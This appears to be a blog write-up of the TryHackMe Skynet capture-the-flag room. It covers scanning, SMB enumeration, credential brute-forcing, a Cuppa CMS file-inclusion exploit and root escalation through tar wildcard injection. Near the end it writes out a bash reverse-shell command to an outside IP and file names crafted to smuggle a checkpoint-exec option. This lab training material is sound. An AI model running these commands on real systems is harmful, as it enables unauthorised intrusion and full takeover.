SkyNet

Here I’m sharing how i attacked the Skynet machine on TryHackMe.

skynetbanner

Starting with an Nmap scan; skynetnmap

Taking a look at port 80; skynetweb

Now bruteforcing directories; skynetdir

We find a login page upon visiting /squirrelmail skynetsnquilelmail

Going back to the nmap scan results so i started digging frrom port 445 (smb) skynetsmbclient

we can download the juicy files from smb to our local machine, Now reading attention.txt exposes potential username & log1.txt has a list of potential passwords mmmm;

skynetpotential

Now bruteforcing with burpsuite intruder & we have valid creds skynetpasssmb

we can go back to the login page on port 80 & login with the valid creds we’ve found

Looks like we have access to the email account & we can find just 3 email conversations Reading one from skynet@skynet reveals some info

skynetemail

That’s a password to “milesdyson” smb share & with that we get access to some other files

skynetmilesdysonshare

we get & read the important.txt on his notes folder on smb which exposes a new directory;

skynetimportant

This is his personal page;

skynetpersdir

sadly we find nothing there so we have to do a directory bursting & found /administrator;

skynetadmin

We see it’s running cupa cms. Now looking at google & we see some remote file inclusion vulnurability linked to cupa reading on the vulnurability/exploit on exploit db & we can have an idia how to exploit; Reading /etc/passwd

skynetetcpasswd

We can try to inlude a reverse shell & use it to get shell access on web server.

skynetwebshell

Now we have shell & can read our user.txt in /home/milesdyson directory

skynetuser

Now we can go elevate our privilege to Root.

Looking at the /backups folder & we can read a backup.sh script

This compresses the entire /var/www/html directory with tar and saves the archive to miles’ home directory. The script is executed by root every minute:

Now creating a privileged reverse shell;

tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/sh $ printf ‘#!/bin/bash\nbash -i >& /dev/tcp/10.8.50.72/6666 0>&1’ > /var/www/html/shell $ chmod +x /var/www/html/shell $ touch /var/www/html/–checkpoint=1 $ touch /var/www/html/–checkpoint-action=exec=bash\ shell $ ./shell

skynetuserbinbash

And we have root shell from listening on the revserse shell port & we can read root.txt;

skynetrootshell

REFRENCES

https://tryhackme.com/room/skynet

https://gtfobins.github.io/gtfobins/tar/

https://www.exploit-db.com/exploits/25971




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • Google Gemini updates: Flash 1.5, Gemma 2 and Project Astra
  • Displaying External Posts on Your al-folio Blog
  • Statica — Bypassing AI Assistant Secret Masking
  • Ashwick
  • Snobble AI